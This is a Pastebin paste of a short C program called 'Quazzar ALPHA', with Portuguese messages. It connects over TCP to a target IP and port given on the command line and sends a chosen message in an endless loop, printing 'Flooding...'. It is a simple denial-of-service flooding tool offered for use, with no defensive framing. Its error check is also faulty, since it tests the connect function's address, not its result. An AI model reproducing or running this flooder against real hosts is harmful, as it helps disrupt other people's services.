Guest User

Quazzar Source Forge

a guest
Aug 11th, 2012
32
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.32 KB | None | 0 0
  1. #include <time.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <strings.h>
  5. #include <string.h>
  6. #include <sys/socket.h>
  7. #include <arpa/inet.h>
  8. #include <unistd.h>
  9.  
  10. struct sockaddr_in alvo;
  11. int soquete;
  12.  
  13. void thread(char message[])
  14. {
  15.     connect(soquete,(struct sockaddr *)&alvo,sizeof alvo);
  16.     if((int)connect <= 0)
  17.     {
  18.         printf("Porta provavelmente fechada...\n");
  19.         exit(1);
  20.     }
  21.     printf("Flooding...\n");
  22.     while(1)
  23.     {
  24.         send(soquete,message,strlen(message),4);
  25.     }
  26.    
  27. }
  28.  
  29. void criar_socket(char *ip[], char *porta[])
  30. {
  31.  
  32.     soquete = socket(AF_INET,SOCK_STREAM,6);
  33.     alvo.sin_family = AF_INET;
  34.     alvo.sin_port = htons(atoi(*porta));
  35.     alvo.sin_addr.s_addr = inet_addr(*ip);
  36.     bzero(&(alvo.sin_zero),8);
  37.     if(soquete < 0)
  38.     {
  39.         printf("Erro na cria\u00E7\u00E3o do socket.\n");
  40.         exit(1);
  41.     }
  42. }
  43.  
  44. void main(int argc, char *argv[])
  45. {
  46.    
  47.     printf("Quazzar ALPHA\n");
  48.     if(argc < 4)
  49.     {
  50.         printf("Usage %10s <IP> <Port> <Message> \n",argv[0]);
  51.         exit(1);
  52.     }
  53.     if(strlen(argv[1]) > 15 || strlen(argv[3]) > 40)
  54.     {
  55.         printf("IP inv\u00E1lido ou Mensagem muito longa\n");
  56.         exit(1);
  57.     }
  58.     const unsigned int port = atoi(argv[2]);
  59.     if(port > 65535 || port <= 0)
  60.     {
  61.         printf("Numero de porta inv\u00E1lida...\n");
  62.         sleep(1);
  63.         exit(1);   
  64.     }
  65.  
  66.     criar_socket(&argv[1],&argv[2]);
  67.     thread(argv[3]);
  68.     close(soquete);
  69.    
  70. }
Advertisement
Add Comment
Please, Sign In to add comment